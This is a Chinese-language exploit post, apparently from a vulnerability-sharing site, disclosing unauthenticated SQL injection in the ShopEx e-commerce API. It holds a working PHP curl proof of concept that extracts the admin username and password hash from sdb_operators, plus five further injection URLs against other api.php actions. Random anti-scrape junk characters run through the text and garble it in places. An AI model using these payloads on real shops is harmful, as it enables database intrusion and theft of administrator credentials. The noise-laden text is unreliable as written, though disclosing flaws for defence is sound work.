|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php5 V0 Y( A4 C* T) ? H, R; y G
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php2 ?5 N' l" V# @ g0 t2 Z4 w
! t+ }* J/ Y2 V% ]2 ~第44行 $data['columns'] 未做过滤导致注入
" V( o6 K/ i# G- g5 e5 A& b/ V5 c S2 @3 z8 J) c: D
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
) j2 h9 @8 e0 t
3 J) J' x' N8 f: P注射1:
9 Q0 I' c6 w: o7 X7 e
; a8 Y! U2 k" xhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#. q: p6 o5 D1 Q0 m1 B2 A' Y6 F( }
2 ^/ l4 |$ `( s, p# x m
注射2:
d% f+ v L$ a8 X2 thttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
. w) }8 _% l7 E' Z8 Z8 _% z. L( k' a4 x2 Q# _
注射3:8 C- S1 C% ]2 Q, E: u
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx8 G. @1 q* e$ ^3 ?, E0 U7 _$ m
注射4:
, _9 }+ z$ a0 X( {
3 W2 x0 V) J6 X3 m) C. `1 N- K, t, ohttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
# r% B: {, y: j/ c- e. _9 ~% l4 [
! z* S. p0 B& G, U/ V
注射5:
3 k* D. z) s( D) U+ i8 h7 l http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx! w) h/ j2 n4 J% E- x3 H
L6 W8 a6 Q5 G1 ~
3 l( M1 t* p1 N7 X1 Y1 W: p. u! a7 {+ X0 C$ \3 q3 w! c3 f
" N0 U" b+ ]% P, h6 H$ V3 R [% x7 I0 C2 H6 y- Y
5 ~& G( h4 h3 O% a0 c |
|